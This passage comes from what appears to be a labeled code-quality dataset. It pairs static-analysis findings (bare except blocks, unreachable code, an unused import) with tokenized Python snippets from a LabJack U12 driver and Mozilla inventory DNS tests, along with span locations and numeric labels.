"users", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "int_", "(_", "reply_", ")_", ">_", "1_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Except block handles 'BaseException'
LabPy/lantz/lantz/drivers/labjack/_internal/u12.py
[ { "content": " def open(self, id = -1, serialNumber = None):\n \"\"\"\n Opens the U12.\n \n The Windows UW driver opens the device every time a function is called.\n The Exodriver, however, works like the UD family of devices and returns\n a handle. On Windows, this method does nothing. On Mac OS X and Linux,\n this method acquires a device handle and saves it to the U12 object.\n \"\"\"\n if ON_WINDOWS:\n pass\n else:\n if self.debug: print(\"open called\")\n devType = ctypes.c_ulong(1)\n openDev = staticLib.LJUSB_OpenDevice\n openDev.restype = ctypes.c_void_p\n \n \n if serialNumber is not None:\n numDevices = staticLib.LJUSB_GetDevCount(devType)\n \n for i in range(numDevices):\n handle = openDev(i+1, 0, devType)\n \n if handle != 0 and handle is not None:\n self.handle = ctypes.c_void_p(handle)\n \n try:\n serial = self.rawReadSerial()\n except Exception:\n serial = self.rawReadSerial()\n \n if serial == int(serialNumber):\n break\n else:\n self.close()\n \n if self.handle is None:\n raise U12Exception(\"Couldn't find a U12 with a serial number matching %s\" % serialNumber)\n \n elif id != -1:\n numDevices = staticLib.LJUSB_GetDevCount(devType)\n \n for i in range(numDevices):\n handle = openDev(i+1, 0, devType)\n \n if handle != 0 and handle is not None:\n self.handle = ctypes.c_void_p(handle)\n \n try:\n unitId = self.rawReadLocalId()\n except Exception:\n unitId = self.rawReadLocalId()\n \n if unitId == int(id):\n break\n else:\n self.close()\n \n if self.handle is None:\n raise U12Exception(\"Couldn't find a U12 with a local ID matching %s\" % id)\n elif id == -1:\n handle = openDev(1, 0, devType)\n \n if handle == 0 or handle is None:\n raise Exception(\"Couldn't open a U12. Check that one is connected and try again.\")\n else:\n self.handle = ctypes.c_void_p(handle)\n \n # U12 ignores first command, so let's write a command.\n command = [ 0 ] * 8\n command[5] = 0x57 # 0b01010111\n \n try:\n self.write(command)\n self.read()\n except:\n pass\n\n self.id = self.rawReadLocalId()\n \n else:\n raise Exception(\"Invalid combination of parameters.\")\n \n \n if not self._autoCloseSetup:\n # Only need to register auto-close once per device.\n atexit.register(self.close)\n self._autoCloseSetup = True", "metadata": "root.U12.open", "header": "['class', 'U12', '(', 'object', ')', ':', '___EOS___']", "index": 417 }, { "content": "def isIterable(var):\n try:\n iter(var)\n return True\n except:\n return False", "metadata": "root.isIterable", "header": "['module', '___EOS___']", "index": 2945 } ]
[ { "span": "except:", "start_line": 493, "start_column": 20, "end_line": 493, "end_column": 27 }, { "span": "except:", "start_line": 2949, "start_column": 4, "end_line": 2949, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "U1", "2_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "open_", "(_", "self_", ",_", "id_", "=_", "-_", "1_", ",_", "serial", "Number_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Opens", " ", "the", " ", "U1", "2", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "Window", "s", " ", "UW", " ", "driver", " ", "opens", " ", "the", " ", "device", " ", "every", " ", "time", " ", "a", " ", "function", " ", "is", " ", "call", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "Exo", "driver", ",", " ", "how", "ever", ",", " ", "works", " ", "like", " ", "the", " ", "UD", " ", "famil", "y", " ", "of", " ", "device", "s", " ", "and", " ", "return", "s", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "handle", ".", " ", "On", " ", "Window", "s", ",", " ", "this", " ", "method", " ", "doe", "s", " ", "not", "hing", ".", " ", "On", " ", "Mac", " ", "OS", " ", "X", " ", "and", " ", "Lin", "ux", ",", "\\", "10", ";", " ", " ", " ", " ", "this", " ", "method", " ", "acquir", "es", " ", "a", " ", "device", " ", "handle", " ", "and", " ", "save", "s", " ", "it", " ", "to", " ", "the", " ", "U1", "2", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ON", "\\u", "WINDOWS", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "debug_", ":_", "print_", "(_", "\"", "open", " ", "call", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dev", "Type_", "=_", "ctypes_", "._", "c\\u", "ulong_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open", "Dev_", "=_", "static", "Lib_", "._", "LJ", "USB", "\\u", "Open", "Device_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open", "Dev_", "._", "restype_", "=_", "ctypes_", "._", "c\\u", "voi", "d\\u", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "serial", "Number_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "Devices_", "=_", "static", "Lib_", "._", "LJ", "USB", "\\u", "Get", "Dev", "Count_", "(_", "dev", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "Devices_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "handle_", "=_", "open", "Dev_", "(_", "i_", "+_", "1_", ",_", "0_", ",_", "dev", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "handle_", "!=_", "0_", "and_", "handle_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "handle_", "=_", "ctypes_", "._", "c\\u", "voi", "d\\u", "p_", "(_", "handle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "serial_", "=_", "self_", "._", "raw", "Read", "Serial_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "serial_", "=_", "self_", "._", "raw", "Read", "Serial_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "serial_", "==_", "int_", "(_", "serial", "Number_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "handle_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "U1", "2E", "xcept", "ion_", "(_", "\"", "Cou", "ld", "n", "'", "t", " ", "find", " ", "a", " ", "U1", "2", " ", "with", " ", "a", " ", "serial", " ", "number", " ", "matchi", "ng", " ", "%", "s", "\"_", "%_", "serial", "Number_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "id_", "!=_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "Devices_", "=_", "static", "Lib_", "._", "LJ", "USB", "\\u", "Get", "Dev", "Count_", "(_", "dev", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "Devices_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "handle_", "=_", "open", "Dev_", "(_", "i_", "+_", "1_", ",_", "0_", ",_", "dev", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "handle_", "!=_", "0_", "and_", "handle_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "handle_", "=_", "ctypes_", "._", "c\\u", "voi", "d\\u", "p_", "(_", "handle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "unit", "Id_", "=_", "self_", "._", "raw", "Read", "Local", "Id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "unit", "Id_", "=_", "self_", "._", "raw", "Read", "Local", "Id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "unit", "Id_", "==_", "int_", "(_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "handle_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "U1", "2E", "xcept", "ion_", "(_", "\"", "Cou", "ld", "n", "'", "t", " ", "find", " ", "a", " ", "U1", "2", " ", "with", " ", "a", " ", "local", " ", "ID", " ", "matchi", "ng", " ", "%", "s", "\"_", "%_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "id_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handle_", "=_", "open", "Dev_", "(_", "1_", ",_", "0_", ",_", "dev", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "handle_", "==_", "0_", "or_", "handle_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Exception_", "(_", "\"", "Cou", "ld", "n", "'", "t", " ", "open", " ", "a", " ", "U1", "2", ".", " ", "Check", " ", "tha", "t", " ", "one", " ", "is", " ", "connect", "ed", " ", "and", " ", "try", " ", "again", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "handle_", "=_", "ctypes_", "._", "c\\u", "voi", "d\\u", "p_", "(_", "handle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "U1", "2", " ", "ignores", " ", "first", " ", "command", ",", " ", "so", " ", "let", "'", "s", " ", "write", " ", "a", " ", "command", "._", "\\u\\u\\uNL\\u\\u\\u_", "command_", "=_", "[_", "0_", "]_", "*_", "8_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "command_", "[_", "5_", "]_", "=_", "0x5", "7_", "#", " ", "0b01", "0101", "11_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "write_", "(_", "command_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "id_", "=_", "self_", "._", "raw", "Read", "Local", "Id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "Inva", "lid", " ", "combinat", "ion", " ", "of", " ", "parameter", "s", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "\\u", "auto", "Clos", "e", "Setup_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "On", "ly", " ", "need", " ", "to", " ", "register", " ", "auto", "-", "close", " ", "onc", "e", " ", "per", " ", "device", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "atexit_", "._", "register_", "(_", "self_", "._", "close_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "auto", "Clos", "e", "Setup_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "Iterable_", "(_", "var_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iter_", "(_", "var_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2 ]
Unreachable code
mozilla/inventory/mozdns/cname/tests.py
[ { "content": " def test_ptr_exists(self):\n # No unittest.skip in 2.6\n print \"see BUG https://bugzilla.mozilla.org/show_bug.cgi?id=810106\"\n return\n label = \"testyfoo\"\n data = \"wat\"\n dom, _ = Domain.objects.get_or_create(name=\"cd\")\n dom, _ = Domain.objects.get_or_create(name=\"what.cd\")\n\n rec = PTR(ip_str=\"10.193.1.1\", ip_type='4', name='testyfoo.what.cd')\n rec.full_clean()\n rec.save()\n\n cn = CNAME(label=label, domain=dom, target=data)\n self.assertRaises(ValidationError, cn.full_clean)", "metadata": "root.CNAMETests.test_ptr_exists", "header": "['class', 'CNAMETests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 331 }, { "content": " def test_ptr_cname_exists(self):\n print \"see BUG https://bugzilla.mozilla.org/show_bug.cgi?id=810106\"\n return\n label = \"testyfoo\"\n data = \"wat\"\n dom, _ = Domain.objects.get_or_create(name=\"cd\")\n dom, _ = Domain.objects.get_or_create(name=\"what.cd\")\n\n CNAME.objects.get_or_create(label=label, domain=dom, target=data)\n rec = PTR(ip_str=\"10.193.1.1\", ip_type='4', name='testyfoo.what.cd')\n\n self.assertRaises(ValidationError, rec.clean)", "metadata": "root.CNAMETests.test_ptr_cname_exists", "header": "['class', 'CNAMETests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 347 } ]
[ { "span": "label = \"testyfoo\"", "start_line": 335, "start_column": 8, "end_line": 335, "end_column": 26 }, { "span": "label = \"testyfoo\"", "start_line": 350, "start_column": 8, "end_line": 350, "end_column": 26 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "class_", "CNA", "MET", "ests", "_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ptr", "\\u", "exists_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", " ", "unittest", ".", "skip", " ", "in", " ", "2.6", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "see", " ", "BUG", " ", "https", "://", "bugzilla", ".", "moz", "illa", ".", "org", "/", "show", "\\u", "bug", ".", "cgi", "?", "id", "=", "810", "106", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "label_", "=_", "\"", "test", "yf", "oo", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "\"", "wat", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "\\u_", "=_", "Domain_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "name_", "=_", "\"", "cd", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "\\u_", "=_", "Domain_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "name_", "=_", "\"", "what", ".", "cd", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rec_", "=_", "PTR", "_", "(_", "ip", "\\u", "str_", "=_", "\"", "10.1", "93.", "1.1", "\"_", ",_", "ip", "\\u", "type_", "=_", "'", "4", "'_", ",_", "name_", "=_", "'", "test", "yf", "oo", ".", "what", ".", "cd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rec_", "._", "full", "\\u", "clean_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rec_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cn_", "=_", "CNA", "ME_", "(_", "label_", "=_", "label_", ",_", "domain_", "=_", "dom_", ",_", "target_", "=_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Validat", "ion", "Error_", ",_", "cn_", "._", "full", "\\u", "clean_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CNA", "MET", "ests", "_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ptr", "\\u", "cname", "\\u", "exists_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "see", " ", "BUG", " ", "https", "://", "bugzilla", ".", "moz", "illa", ".", "org", "/", "show", "\\u", "bug", ".", "cgi", "?", "id", "=", "810", "106", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "label_", "=_", "\"", "test", "yf", "oo", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "\"", "wat", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "\\u_", "=_", "Domain_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "name_", "=_", "\"", "cd", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "\\u_", "=_", "Domain_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "name_", "=_", "\"", "what", ".", "cd", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CNA", "ME_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "label_", "=_", "label_", ",_", "domain_", "=_", "dom_", ",_", "target_", "=_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rec_", "=_", "PTR", "_", "(_", "ip", "\\u", "str_", "=_", "\"", "10.1", "93.", "1.1", "\"_", ",_", "ip", "\\u", "type_", "=_", "'", "4", "'_", ",_", "name_", "=_", "'", "test", "yf", "oo", ".", "what", ".", "cd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Validat", "ion", "Error_", ",_", "rec_", "._", "clean_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
scottjbarr/bitfinex/test/bitfinex_test.py
